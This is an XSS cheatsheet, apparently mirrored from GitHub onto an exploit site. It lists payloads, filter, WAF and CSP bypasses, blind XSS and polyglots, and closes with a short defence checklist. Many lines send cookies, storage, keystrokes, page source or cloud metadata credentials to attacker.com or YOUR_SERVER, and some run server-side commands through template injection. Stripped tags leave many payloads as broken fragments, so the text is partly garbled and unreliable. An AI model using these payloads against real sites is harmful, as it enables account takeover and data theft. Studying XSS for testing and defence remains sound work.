Share
## https://sploitus.com/exploit?id=27DB8220-5954-5EDF-96EC-A9636942C1FD
# β‘ XSS Cheatsheet β Cross-Site Scripting Reference
[](https://github.com/ardakocadoruu/xss-cheatsheet)
[](LICENSE)
[](CONTRIBUTING.md)
[]()
[]()
**The most comprehensive XSS reference on GitHub.**
Reflected Β· Stored Β· DOM Β· Blind XSS β payloads, filter bypasses, WAF evasion, CSP bypass, mXSS, prototype pollution chains, and real-world CVEs. Updated for 2026.
[Payloads](#-basic-payloads) Β· [Filter Bypass](#-filter-bypass) Β· [WAF Evasion](#-waf-evasion) Β· [DOM XSS](#-dom-based-xss) Β· [CSP Bypass](#-csp-bypass) Β· [Blind XSS](#-blind-xss) Β· [Advanced](#-advanced-techniques) Β· [Tools](#-tools)
---
## Table of Contents
- [What is XSS?](#-what-is-xss)
- [XSS Types](#-xss-types)
- [Basic Payloads](#-basic-payloads)
- [Classic Payloads](#classic)
- [Alert Alternatives](#alert-alternatives-when-alert-is-blocked)
- [Without Parentheses](#without-parentheses)
- [Without Spaces](#without-spaces)
- [With Quotes Stripped](#with-quotes-stripped)
- [Filter Bypass](#-filter-bypass)
- [Case Variation](#case-variation)
- [Tag Obfuscation](#tag-obfuscation)
- [Event Handler List](#event-handler-list)
- [HTML Encoding](#html-encoding)
- [JavaScript Encoding](#javascript-encoding)
- [URL Encoding](#url-encoding)
- [Double Encoding](#double-encoding)
- [SVG Payloads](#svg-payloads)
- [HTML5 Specific](#html5-specific)
- [Data URI](#data-uri)
- [Context-Specific Payloads](#-context-specific-payloads)
- [HTML Context](#html-context)
- [HTML Attribute Context](#html-attribute-context)
- [JavaScript Context](#javascript-context)
- [JavaScript String Context](#javascript-string-context)
- [URL Context](#url-context-hrefsrc-attributes)
- [CSS Context](#css-context)
- [JSON / Template Context](#jsontemplate-context)
- [WAF Evasion](#-waf-evasion)
- [Cloudflare Bypass](#cloudflare-bypass)
- [ModSecurity Bypass](#modsecurity-bypass)
- [AWS WAF Bypass](#aws-waf-bypass)
- [Generic Evasion](#generic-waf-evasion)
- [CSP Bypass](#-csp-bypass)
- [unsafe-inline](#unsafe-inline-present)
- [script-src self](#script-src-self-only)
- [CDN Whitelists](#whitelisted-cdn-domains)
- [base-uri missing](#base-uri-missing)
- [Dangling Markup](#via-dangling-markup)
- [Nonce-based CSP](#nonce-based-csp)
- [DOM-Based XSS](#-dom-based-xss)
- [Common Sources](#common-sources)
- [Common Sinks](#common-sinks)
- [DOM XSS Payloads](#dom-xss-payloads)
- [AngularJS Template Injection](#angularjs-template-injection)
- [Blind XSS](#-blind-xss)
- [XSS Polyglots](#-xss-polyglots)
- [XSS via File Upload](#-xss-via-file-upload)
- [XSS in HTTP Headers](#-xss-in-http-headers)
- [XSS to RCE](#-xss-to-rce)
- [Advanced Techniques](#-advanced-techniques)
- [mXSS](#mxss-mutation-xss)
- [DOM Clobbering](#dom-clobbering)
- [Prototype Pollution to XSS](#prototype-pollution-to-xss)
- [CSTI](#csti-client-side-template-injection)
- [Defense](#-defense)
- [Real-World CVEs](#-real-world-cves)
- [Tools](#-tools)
- [References](#-references)
- [Contributing](#contributing)
---
## π― What is XSS?
Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker injects malicious scripts into content served by a trusted web application. When a victim's browser renders the page, the injected script executes with the same privileges as legitimate scripts from that origin.
### Why XSS Matters
XSS is consistently in the OWASP Top 10 because the impact is severe and the attack surface is enormous:
| Impact | Description |
|--------|-------------|
| **Session Hijacking** | Steal `document.cookie` and take over authenticated sessions |
| **Account Takeover** | Change email/password via forged requests using the victim's session |
| **Keylogging** | Capture every keystroke, including passwords, credit card numbers |
| **Phishing** | Inject fake login forms that submit credentials to attacker |
| **Defacement** | Modify page content to spread misinformation or embarrass the target |
| **Malware Distribution** | Redirect victims to exploit kits |
| **Crypto Mining** | Run cryptominers in victim browsers |
| **SSRF / Internal Port Scan** | Use victim's browser to probe internal network |
| **Credential Harvesting** | Read autofilled credentials from the DOM |
| **Screenshot / Webcam** | Capture screen via `getDisplayMedia()`, webcam via `getUserMedia()` |
### The Same-Origin Policy and XSS
XSS defeats the Same-Origin Policy (SOP). Because the malicious script is served *from the target origin*, the browser treats it as trusted. This means XSS gives an attacker:
- Full read/write access to the DOM
- Access to all cookies **not** protected by `HttpOnly`
- The ability to make authenticated XHR/fetch requests to the same origin
- Access to `localStorage` and `sessionStorage`
---
## πΊοΈ XSS Types
```
Cross-Site Scripting (XSS)
β
βββ Reflected XSS
β βββ Payload in request, reflected in response immediately
β βββ Requires victim to click crafted link
β βββ Stored: NO β not persistent
β βββ Example: search?q=alert(1)
β
βββ Stored XSS (Persistent)
β βββ Payload stored in database, file, log, etc.
β βββ Executes on every page load for every victim
β βββ Stored: YES β most dangerous type
β βββ Example: comment field, profile name, forum post
β
βββ DOM-Based XSS
β βββ Payload processed by client-side JS, never reaches server
β βββ Source β Sink flow entirely in browser
β βββ Often missed by server-side WAFs and scanners
β βββ Example: location.hash β innerHTML assignment
β
βββ Blind XSS
βββ Payload executes in a different context than where it's injected
βββ Fires in admin panels, log viewers, CRM systems
βββ Time delay between injection and execution (hours/days)
βββ Example: support ticket field that fires in agent dashboard
```
| Type | Persistence | Who Gets Hit | Server Sees Payload? |
|------|-------------|--------------|----------------------|
| Reflected | No | Targeted victim | Yes |
| Stored | Yes | All visitors | Yes |
| DOM | No | Targeted victim | Usually No |
| Blind | Yes (remote) | Admin / backend user | Yes (at injection point) |
---
## π₯ Basic Payloads
### Classic
The foundational payloads every security researcher knows. These work where no filtering exists.
```html
alert(1)
alert(document.domain)
alert(document.cookie)
alert(1)
alert(1)
var x=1;alert(x)
window.alert(1)
alert(1)
(function(){alert(1)})()
(() => alert(1))()
```
### Alert Alternatives (when `alert` is blocked)
Many modern applications and WAFs block the word `alert`. Use these alternatives:
```javascript
// confirm() β shows OK/Cancel dialog
confirm(1)
// prompt() β shows input dialog
prompt(1)
// console.log() β silent, check browser console
console.log(document.cookie)
// print() β opens print dialog (noisy but visible)
print()
// debugger β pauses DevTools if open
debugger
// throw β visible in console as uncaught error
throw 1
// Using window object
window['alert'](1)
// Using top
top['alert'](1)
// Constructing alert string to evade static analysis
window['\x61\x6c\x65\x72\x74'](1)
// Using eval
eval('ale'+'rt(1)')
// Function constructor
Function('alert(1)')()
// setTimeout / setInterval
setTimeout(alert,0,1)
setInterval(alert,9999,1)
// Using fetch to exfiltrate (when alert is blocked entirely)
fetch('https://attacker.com/?c='+document.cookie)
// navigator.sendBeacon β harder to block, works on page unload
navigator.sendBeacon('https://attacker.com/',document.cookie)
```
### Without Parentheses
Parentheses are sometimes filtered. These techniques execute code without them:
```javascript
// Template literal as argument (backtick replaces parentheses)
alert`1`
alert`${document.cookie}`
// onerror with template literal
// throw with alert as onerror
window.onerror=alert;throw 1
// Using location
location='javascript:alert\x281\x29'
// Using execCommand (legacy)
alert(1)
// document.write with encoded parens
document.write('\x3cimg src=x onerror=alert`1`\x3e')
// msExecAttr (IE legacy)
//
// via.href
click
```
### Without Spaces
When spaces are stripped or flagged:
```html
```
### With Quotes Stripped
When single and double quotes are removed:
```html
XSS
```
---
## π Filter Bypass
### Case Variation
HTML tag names and attribute names are case-insensitive. Mix case to bypass case-sensitive filters:
```html
alert(1)
alert(1)
alert(1)
alert(1)
```
### Tag Obfuscation
Confuse parsers by breaking tags in ways browsers still understand:
```html
ipt>alert(1)ipt>
alert(1)
alert(1)
alert(1)
alert(1)
alert(1)
alert(1)//
alert(1)
alert(1)
alert(1)
alert(1)
```
### Event Handler List
A comprehensive list of HTML event handlers usable for XSS. For the full reference with browser support, see [`payloads/event-handlers.md`](payloads/event-handlers.md).
**Mouse Events:**
```html
Hover me
Hover then leave
Click down
Release click
Click me
Double click
Move mouse
Right click
Scroll wheel
```
**Focus Events (no interaction on tabindex elements):**
```html
link
```
**Form Events:**
```html
```
**Load Events (fire without user interaction):**
```html
```
**HTML5 Events (user interaction):**
```html
scrolling
```
**Clipboard Events:**
```html
```
**Drag Events:**
```html
drag me
drop here
```
**Animation/Transition Events:**
```html
@keyframes x{}
hover
```
**Pointer Events:**
```html
hover
hover
press
release
```
### HTML Encoding
Encode ``, `"`, `'`, `&` using HTML entities. Browsers decode these before parsing attributes:
```html
<script>alert(1)</script>
alert(1) -->
<script>alert(1)</script>
<script>alert(1)</script>
<script>alert(1)
```
### JavaScript Encoding
Inside JavaScript strings and attribute values, unicode escapes are processed:
```javascript
// \uXXXX unicode escapes
'\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029'
// But you need eval to execute it:
eval('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')
// \x hex escapes
eval('\x61\x6c\x65\x72\x74\x28\x31\x29')
// Octal escapes (non-strict mode)
eval('\141\154\145\162\164\50\61\51')
// Template literals with tagged templates
String.raw`\u{61}lert`(1)
// String.fromCharCode
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
// Spread into String.fromCharCode
eval(String.fromCharCode(...[97,108,101,114,116,40,49,41]))
// atob (base64 decode)
eval(atob('YWxlcnQoMSk='))
// In URL context β \uXXXX in href
click
click
```
### URL Encoding
When payload is reflected inside URL parameters or `href`/`src` attributes:
```
%3Cscript%3Ealert(1)%3C/script%3E
= alert(1)
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
=
javascript:%61lert(1)
= javascript:alert(1)
javascript:void(alert(1))
// With newline (bypasses some URL filters)
java%0ascript:alert(1)
java%09script:alert(1)
java%0Dscript:alert(1)
// Tab, CR, LF in protocol
	javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
```
### Double Encoding
When the application decodes once before filtering, then the browser decodes again:
```
%253Cscript%253E = URL decode once β %3Cscript%3E = URL decode twice β
%253Cscript%253Ealert(1)%253C%252Fscript%253E
// Double-encoded event handler
%2522%2520onmouseover%253Dalert(1)%2520x%253D%2522
= %22 onmouseover%3Dalert(1) x%3D%22
= " onmouseover=alert(1) x="
// Useful when app does urldecode() then inserts into HTML without encoding
```
### SVG Payloads
SVG is an XML-based format that supports script execution and is often allowed where HTML tags are not:
```html
alert(1)
alert(1)
alert(1)#x"/>
```
### HTML5 Specific
HTML5 introduced new elements and attributes that can be abused:
```html
click
text
text
1
alert(1)
alert(1)
alert(1)
```
### Data URI
`data:` URIs can contain full HTML documents that execute scripts:
```html
alert(document.domain)">
alert(1)">click
alert(1)">
alert(1)">
">
```
---
## π Context-Specific Payloads
Understanding injection context is the most critical skill in XSS exploitation. The same payload won't work everywhere.
### HTML Context
Injecting between HTML tags. Anything you insert becomes part of the HTML document:
```html
You searched for: alert(1)
hover
alert(1)
alert(1)">
```
### HTML Attribute Context
Injecting inside an attribute value. You need to break out of the attribute first:
```html
-->
alert(1)
-->
-->
click
```
### JavaScript Context
Injecting inside a `` block or an external `.js` file:
```javascript
// Source: var name = "INJECT";
// Payload: ";alert(1);//
var name = "";alert(1);//";
// Source: var name = 'INJECT';
// Payload: ';alert(1);//
var name = '';alert(1);//';
// Source: var data = INJECT; (unquoted β JSON-like)
// Payload: 1;alert(1)
var data = 1;alert(1);
// Source:
// In old XHTML where comments are meaningful
// Payload: -->alert(1)alert(1)
// Closing script tag to break out
// Source: var x = "INJECT"
// Payload: alert(1)
var x = "alert(1)"
// Template literal context: var x = `INJECT`
// Payload: ${alert(1)}
var x = `${alert(1)}`
// Inside regex context: var re = /INJECT/
// Payload: /;alert(1);//
var re = /;alert(1);///
```
### JavaScript String Context
Breaking out of JavaScript string contexts specifically:
```javascript
// Double-quote string β most common
';alert(1)//
";alert(1)//
\';alert(1)//
\";alert(1)//
// If backslash escaping is applied:
// Input: test\'
// Result: test\\' (escape is escaped, quote ends string)
// Payload: test\
// β test\' β the backslash escapes the quote, payload follows
// String concatenation abuse
'+alert(1)+'
"+alert(1)+"
// Unicode line terminators that break JS strings (U+2028, U+2029)
// These characters act as line terminators in JS, breaking strings
// Payload in URL: test%E2%80%A8alert(1)
// Template literal escape
`${alert(1)}`
`\`;alert(1);//`
// In JSON reflected into script:
// {"name": "INJECT"}
// Payload: ","x":"alert(1)
```
### URL Context (href/src attributes)
When your input is placed inside `href`, `src`, `action`, or similar URL attributes:
```
javascript:alert(1)
javascript:alert(document.cookie)
javascript:void(alert(1))
javascript://comment%0Aalert(1)
// Bypass with line terminators (decoded before parsing)
java	script:alert(1)
java
script:alert(1)
java
script:alert(1)
// Protocol-relative in src/href that you can control domain
//attacker.com/xss.js
// In href with whitespace before protocol (some parsers strip it)
" href=" javascript:alert(1)
// vbscript (IE only, legacy)
vbscript:msgbox(1)
```
### CSS Context
XSS via CSS is mostly historical (IE `expression()`), but still relevant in some contexts:
```css
/* Internet Explorer expression() β executes JavaScript */
/* Modern CSS doesn't allow JS execution, but can be used for data exfiltration */
/* Attribute selector exfiltration (blind) */
input[value^=a] { background: url(//attacker.com/?c=a) }
input[value^=b] { background: url(//attacker.com/?c=b) }
/* ... repeat for all chars */
/* CSS injection β stylesheet β load attacker CSS */
/* In tag β can use @import */
@import 'https://attacker.com/x.css'
/* -moz-binding (Firefox, ancient) */
/* CSS content property with script (HTML parser quirk) */
*{x:expression(alert(1))}
```
### JSON/Template Context
When payload is reflected inside JSON responses or server-side template engines:
```javascript
// JSON reflected in script tag:
// var data = {"user":"INJECT"};
// Payload: "}; alert(1); var x = {"y":"
var data = {"user":""}; alert(1); var x = {"y":""};
// JSON with JSONP callback injection:
// callback=INJECT&data=...
// Payload: alert(1)//
alert(1)//({...})
// AngularJS template injection (double curly braces)
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{[].pop.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}
// Vue.js template injection
{{_c.constructor('alert(1)')()}}
// Jinja2/Twig (server-side, but sometimes reflected with no output encoding)
{{7*7}} β test for SSTI first
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
// Handlebars
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
---
## π« WAF Evasion
WAF bypass is an art of understanding how WAFs tokenize and match patterns vs. how browsers parse HTML. For the deep-dive guide, see [`payloads/waf-bypass.md`](payloads/waf-bypass.md).
### Cloudflare Bypass
Cloudflare's WAF uses a combination of signature matching and anomaly scoring. Known bypass techniques (as of 2025-2026):
```html
alert(1)">
alert(1)">
```
### ModSecurity Bypass
ModSecurity CRS (Core Rule Set) uses a paranoia-level system. Default is level 1-2. Bypasses:
```html
alert(1)
alert(1)
" across chunk boundary bypasses string matching -->
alert(1) -->
```
### AWS WAF Bypass
AWS Managed Rules for XSS are signature-based and updated periodically:
```html
alert(1)
alert(1)
XSS
```
### Generic WAF Evasion
Techniques that work against multiple WAF products:
```html
al/*comment*/ert(1)
al//comment\nert(1)
?search=alert(1)
Transfer-Encoding: chunked
-->
οΌscriptοΌalert(1)οΌ/scriptοΌ
Content-Type: text/plain
Content-Type: text/html
alert(1)
Cookie: tracking=alert(1)
```
---
## π CSP Bypass
Content Security Policy is the primary XSS mitigation. Understanding how to bypass misconfigurations is essential for security assessments. Use [CSP Evaluator](https://csp-evaluator.withgoogle.com/) to check CSP strength.
### unsafe-inline Present
If `script-src` includes `'unsafe-inline'`, CSP provides no XSS protection:
```html
alert(1)
```
This is the most common CSP misconfiguration. Any payload that injects `` or event handlers will work.
### script-src 'self' Only
When only same-origin scripts are allowed:
```html
/api/users?callback=alert
/search?jsoncallback=alert
/service?cb=alert
```
### Whitelisted CDN Domains
If CSP allows loading from CDNs that serve user-controllable or library content:
```html
{{constructor.constructor('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
$.getScript('/api/data?callback=alert(1)//')
```
### base-uri Missing
If `base-uri` directive is absent from CSP, inject a `` tag to redirect relative script loads:
```html
-->
tag is allowed -->
```
### Via Dangling Markup
When you cannot execute scripts but can inject HTML (e.g., strict CSP blocks all scripts), dangling markup exfiltrates data:
```html
```
### Nonce-based CSP
When CSP uses `'nonce-XXXX'` to allow specific inline scripts:
```html
... if nonce is reused -->
document.createElement('script') + s.src = 'attacker.com'
alert(1)
```
---
## π΅οΈ DOM-Based XSS
DOM XSS occurs entirely client-side. The server never sees the payload. This makes it invisible to server-side WAFs, logs, and IDS unless they inspect JavaScript execution.
### Common Sources
Sources are places where attacker-controlled data enters the JavaScript execution environment:
| Source | Description | Example |
|--------|-------------|---------|
| `location.href` | Full URL including hash | `window.location.href` |
| `location.search` | Query string (`?key=value`) | `location.search.split('=')[1]` |
| `location.hash` | Fragment (`#value`) | `location.hash.slice(1)` |
| `location.pathname` | URL path | `/page/INJECT/more` |
| `document.referrer` | HTTP Referer header | `document.referrer` |
| `document.cookie` | Cookie values | Cookie manipulation |
| `window.name` | Cross-origin persistent | Set in attacker page, read in target |
| `postMessage` | Cross-window messaging | Missing origin check |
| `localStorage` | Browser storage | Stored value later used in DOM |
| `sessionStorage` | Session storage | Same as localStorage |
| `XMLHttpRequest.responseText` | AJAX response | If response contains user data |
| `fetch().then(r=>r.text())` | Fetch response | Same |
| `WebSocket data` | WS message | Unsanitized WebSocket message |
### Common Sinks
Sinks are dangerous functions/properties that interpret data as code or HTML:
| Sink | Type | Danger |
|------|------|--------|
| `innerHTML` | HTML | Parses and renders HTML, executes event handlers |
| `outerHTML` | HTML | Same as innerHTML |
| `insertAdjacentHTML` | HTML | Inserts raw HTML |
| `document.write()` | HTML | Writes raw HTML to document |
| `document.writeln()` | HTML | Same + newline |
| `eval()` | JS | Evaluates string as JavaScript |
| `Function()` | JS | Creates and executes function from string |
| `setTimeout(string)` | JS | Evaluates string after delay |
| `setInterval(string)` | JS | Evaluates string repeatedly |
| `setImmediate(string)` | JS | IE-specific eval |
| `execScript()` | JS | IE-specific eval |
| `location.href = ...` | URL | Sets location β `javascript:` danger |
| `location.assign()` | URL | Navigation β `javascript:` danger |
| `location.replace()` | URL | Navigation β `javascript:` danger |
| `element.src` | URL | Script/iframe src |
| `jQuery.html()` | HTML | jQuery innerHTML wrapper |
| `jQuery.append()` | HTML | Appends HTML string |
| `jQuery.prepend()` | HTML | Prepends HTML string |
| `jQuery.after()` | HTML | Inserts HTML after element |
| `jQuery.before()` | HTML | Inserts HTML before element |
| `jQuery.$()` | HTML | `$(htmlString)` creates elements |
| `element.outerHTML` | HTML | Replaces element with HTML |
| `Range.createContextualFragment()` | HTML | Creates DOM fragment from HTML |
### DOM XSS Payloads
```javascript
// For innerHTML / outerHTML sinks:
// Payload goes into hash: https://victim.com/page#PAYLOAD
// If: document.getElementById('x').innerHTML = location.hash.slice(1)
#
#
// Note: via innerHTML does NOT execute β use event handlers instead
// For document.write() sinks:
// document.write(location.search) or document.write(location.hash)
#alert(1)
// document.write DOES execute scripts
// For eval() / setTimeout(string) sinks:
// eval(location.hash.slice(1))
#alert(1)
#};alert(1);//
#'+alert(1)+'
// For location.href sinks:
// location.href = 'https://victim.com/' + location.hash.slice(1)
// β Usually safe (sets URL). But if it's used differently:
// location = location.hash.slice(1)
#javascript:alert(1)
// For jQuery $() sink:
// $(location.hash)
#
// postMessage DOM XSS (missing origin check):
// window.addEventListener('message', function(e) {
// document.getElementById('out').innerHTML = e.data;
// });
// Attacker page:
//
// document.getElementById('f').contentWindow.postMessage('', '*')
// window.name DOM XSS:
// target page: document.write(window.name)
// Attacker page sets name before navigating:
// window.name='alert(1)';location='https://victim.com/page'
// document.referrer source:
// Attacker page links to victim with referrer containing payload
// Victim page: document.write(document.referrer)
```
### AngularJS Template Injection
AngularJS sandboxing was defeated across multiple versions. If the app uses AngularJS and has `ng-app`:
```javascript
// Basic (all versions up to 1.5.x before sandbox hardening)
{{constructor.constructor('alert(1)')()}}
// AngularJS
// ng-src / ng-href
click
// Filter injection
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// Version detection:
// β check version in file
// angular.version.full
```
---
## ποΈ Blind XSS
Blind XSS fires in a different context than where the payload is injected β typically admin panels, internal dashboards, log viewers, CRM systems, or support ticket systems.
### What is Blind XSS
Unlike reflected or stored XSS where you see the execution immediately, blind XSS payloads:
- Are stored and may execute hours or days later
- Execute in a browser/context you cannot directly observe
- Require a callback mechanism to confirm execution
- Provide information about the admin environment (cookies, screenshot, keystrokes)
**Common injection points:**
- Contact forms / support ticket submission
- User registration fields (first name, last name, username)
- Profile bios, descriptions, "about me" fields
- Feedback / bug report forms
- Order notes / shipping instructions
- Chat messages in customer support widgets
- HTTP headers (User-Agent, Referer, X-Forwarded-For) logged by admin tools
- File names on upload
- Log files viewed in a web interface
- Error messages that appear in admin error dashboards
### Blind XSS Payloads
```html
fetch('https://YOUR_SERVER/collect?c='+encodeURIComponent(document.cookie)+'&u='+encodeURIComponent(location.href))
var s=document.createElement('script');
s.src='https://html2canvas.hertzen.com/dist/html2canvas.min.js';
s.onload=function(){
html2canvas(document.body).then(function(canvas){
fetch('https://YOUR_SERVER/screenshot',{
method:'POST',
body:canvas.toDataURL()
});
});
};
document.head.appendChild(s);
var keys='';
document.addEventListener('keypress',function(e){
keys+=e.key;
if(keys.length>20){
fetch('https://YOUR_SERVER/keys?k='+btoa(keys));
keys='';
}
});
(function(){
var data = {
cookies: document.cookie,
url: location.href,
title: document.title,
referrer: document.referrer,
userAgent: navigator.userAgent,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage)
};
fetch('https://YOUR_SERVER/blind', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
})();
User-Agent:
Referer: https://attacker.com/">
X-Forwarded-For: 1.1.1.1">
```
### Platforms for Blind XSS
| Platform | Description | URL |
|----------|-------------|-----|
| **XSS Hunter** | The gold standard for blind XSS. Captures cookies, DOM, screenshot, HTTP headers | https://xsshunter.trufflesecurity.com |
| **CanaryTokens** | Alerting when your token is hit | https://canarytokens.org |
| **Interactsh** | Open-source OOB interaction server | https://github.com/projectdiscovery/interactsh |
| **Burp Collaborator** | Enterprise blind XSS + SSRF detection | Burp Suite Pro |
| **ezXSS** | Self-hosted blind XSS platform | https://github.com/ssl/ezXSS |
### Exfiltration Payloads
```javascript
// Cookie theft
fetch('https://attacker.com/?c='+document.cookie)
// Cookie + URL context
fetch('https://attacker.com/x?c='+btoa(document.cookie)+'&u='+btoa(location.href))
// Full page source exfiltration
fetch('https://attacker.com/src', {method:'POST', body:document.documentElement.outerHTML})
// LocalStorage dump
var ls={};for(var i=0;i\x3csVg/\x3e
// 2. The Classic Multicontext Polyglot
'">>">prompt(1)@gmail.com'-->">alert(1)alert(1)alert(1);
// 6. Self-contained polyglot with encoding layers
%22%3E%3Csvg/onload=alert(1)%3E%22
// 7. Polyglot targeting template + HTML + JS contexts
{{1+1}}alert(1){{constructor.constructor('alert(1)')()}}
// 8. Polyglot for textarea/title/style context breaks
alert(1)
// 9. Polyglot that works in JSON, HTML attribute, and JS
\u003cscript\u003ealert(1)\u003c/script\u003e
```
---
## π¦ XSS via File Upload
File upload functionality is a rich attack surface for stored XSS, especially when uploaded files are served from the same origin.
### SVG File Upload
SVG files are XML that supports embedded JavaScript and is rendered as HTML in browsers:
```xml
Malicious SVG
alert(document.cookie);
```
### HTML File Upload
If the application allows `.html` or `.htm` file uploads:
```html
Legitimate looking content
// Full origin access since this is served from victim domain
document.cookie; // readable
localStorage; // readable
// Can make same-origin requests
fetch('/api/admin/users').then(r=>r.json()).then(d=>
fetch('https://attacker.com/exfil',{method:'POST',body:JSON.stringify(d)})
);
```
### XML File Upload
DOCX, XLSX, ODT β these are ZIP files containing XML:
```xml
alert(1)
]>
&xxe;
```
### Other File Types
```
File: avatar.jpg
Content: alert(1)
tags -->
```
---
## π XSS in HTTP Headers
HTTP headers that are logged and displayed in admin panels, or reflected in responses, can carry XSS payloads:
### User-Agent
```
User-Agent: alert(1)
User-Agent:
User-Agent: ">alert(1)
User-Agent: Mozilla/5.0
```
**Where it fires:** Analytics dashboards, server logs viewed in web UI, CRM systems, error tracking platforms (Sentry, Bugsnag if they don't sanitize), support ticket systems.
### Referer Header
```
Referer: https://attacker.com/">
Referer: https://attacker.com/alert(1)
Referer: ">alert(1)
```
### X-Forwarded-For
```
X-Forwarded-For: alert(1)
X-Forwarded-For: 1.1.1.1, alert(1)
X-Forwarded-For: ">
```
**Where it fires:** Admin panels showing user IPs, Nginx/Apache log viewers, fraud detection dashboards, geographic analytics.
### Cookie Header
```
Cookie: session=abc; trackingId=alert(1)
Cookie: name=">alert(1); other=value
```
### Accept-Language / Accept-Encoding
```
Accept-Language: alert(1)
Accept: text/html,alert(1)
```
### Custom Headers
```
X-Custom-Header:
X-Original-URL: ">alert(1)
X-Rewrite-URL: alert(1)
```
---
## π XSS to RCE
In specific environments, XSS can escalate to Remote Code Execution:
### Electron Applications
Electron apps run a Chromium browser with Node.js integration. XSS in an Electron app can access the Node.js `require()` function:
```javascript
// If nodeIntegration is enabled (Electron r.text()).then(d=>fetch('https://attacker.com/?d='+btoa(d)))
// Internal port scan
for(var port=80; portr.text())
.then(role => fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role))
.then(r=>r.json())
.then(creds => fetch('https://attacker.com/',{method:'POST',body:JSON.stringify(creds)}))
```
### nw.js (Node-WebKit)
```javascript
// Similar to Electron, nw.js apps have Node.js integration
// Check: typeof nw !== 'undefined'
nw.Shell.openExternal('calc.exe')
require('child_process').exec('id', function(e,o){alert(o)})
```
---
## β‘ Advanced Techniques
### mXSS (Mutation XSS)
Mutation XSS exploits differences between the HTML serializer and the HTML parser. A string that looks safe after sanitization becomes dangerous after the browser re-parses it.
```html
"> -->
is inside a title attribute β safe -->
">
alert(1)">
```
### DOM Clobbering
DOM Clobbering uses HTML elements with specific `id` or `name` attributes to overwrite JavaScript globals:
```html
-->
-->
```
### Prototype Pollution to XSS
Prototype pollution sets properties on `Object.prototype`, affecting all objects. When combined with a gadget that reads from prototype chain into a sink:
```javascript
// Prototype pollution vulnerability:
// (Somewhere in the app, user-controlled keys are set on objects)
// e.g., merge(obj, userInput) where userInput = {"__proto__":{"polluted":"payload"}}
// After pollution: ({}).polluted === "payload"
// Gadget chains that lead to XSS:
// Gadget 1: innerHTML assignment
// Code: element.innerHTML = options.template || defaultTemplate;
// Pollute: __proto__.template = ""
// Now: ({}).template === ""
// Gadget 2: jQuery.parseHTML
// jQuery internals read from prototype for some operations
// $.parseHTML('', {context: polluted_context})
// Gadget 3: Angular template
// AngularJS reads from prototype for scope variables
// Gadget 4: Lodash / deepmerge vulnerabilities
// Input: {"__proto__": {"innerHTML": ""}}
// If this sets document.__proto__.innerHTML β all elements affected
// Finding gadgets: look for:
// - sink(obj[key]) where obj might have polluted properties
// - typeof checks that don't exist before reading from inherited
// Testing for prototype pollution:
// Open browser console, try:
Object.prototype.foo = 'polluted';
// Then check if ({}).foo === 'polluted'
// If yes, look for gadgets in loaded libraries
// Tools: ppfuzz, server-side prototype pollution scanner
```
### CSTI (Client-Side Template Injection)
Client-Side Template Injection exploits JavaScript template engines:
```javascript
// AngularJS β see DOM XSS section above
// Vue.js 2.x
// If user input is interpolated in template:
// {{ userInput }}
// Payload: {{constructor.constructor('alert(1)')()}}
// Works in v-bind and {{ }} template expressions
// Vue.js 3.x (more restricted, but still possible):
// Via custom directives with user-controlled binding expressions
// React β React's JSX is compiled and generally safe
// But dangerous patterns:
// dangerouslySetInnerHTML={{ __html: userInput }} β XSS
// el.innerHTML = userInput} /> β XSS
// eval(userInput) in components
// Passing URL props without validation: β javascript: XSS
// Handlebars
// Triple braces bypass HTML encoding: {{{userInput}}}
// Payload: alert(1)
// Mustache
// Same: {{{userInput}}} bypasses encoding
// Pug/Jade (Node.js SSR but rendered client-side in some configs)
// != operator skips escaping: p!= userInput
// Payload: alert(1)
// Testing CSTI:
// Payload: {{7*7}} β check if 49 appears in output
// If yes, template injection confirmed β then escalate to JS execution
```
---
## π‘οΈ Defense
### Developer Checklist
**Output Encoding (Most Important):**
- Use `textContent` instead of `innerHTML` when inserting user data into the DOM
- Use framework-provided safe methods (React's JSX auto-encodes, Angular's `{{ }}` auto-encodes)
- On server side, HTML-encode all user input before inserting into HTML: `&`, `<`, `>`, `"`, `'`
- URL-encode user input placed in `href`, `src`, or action attributes
- JavaScript-encode user input placed inside `` blocks
**Content Security Policy:**
```
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-{RANDOM}';
style-src 'self' 'nonce-{RANDOM}';
object-src 'none';
base-uri 'self';
frame-ancestors 'self';
```
**Cookie Protection:**
```
Set-Cookie: session=TOKEN; HttpOnly; Secure; SameSite=Strict
```
- `HttpOnly` β prevents JavaScript from reading the cookie
- `Secure` β only sent over HTTPS
- `SameSite=Strict` β prevents CSRF and reduces cookie theft utility
**Trusted Types (Modern Browsers):**
```
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
```
```javascript
// Force all DOM sinks to use Trusted Types β compile-time XSS prevention
const policy = trustedTypes.createPolicy('default', {
createHTML: (str) => DOMPurify.sanitize(str),
createScriptURL: (str) => { /* validate URL */ return str; }
});
element.innerHTML = policy.createHTML(userInput); // Safe
```
**Sanitization Libraries:**
- **DOMPurify** β the gold standard client-side HTML sanitizer
```javascript
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
```
**Security Headers:**
```
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
```
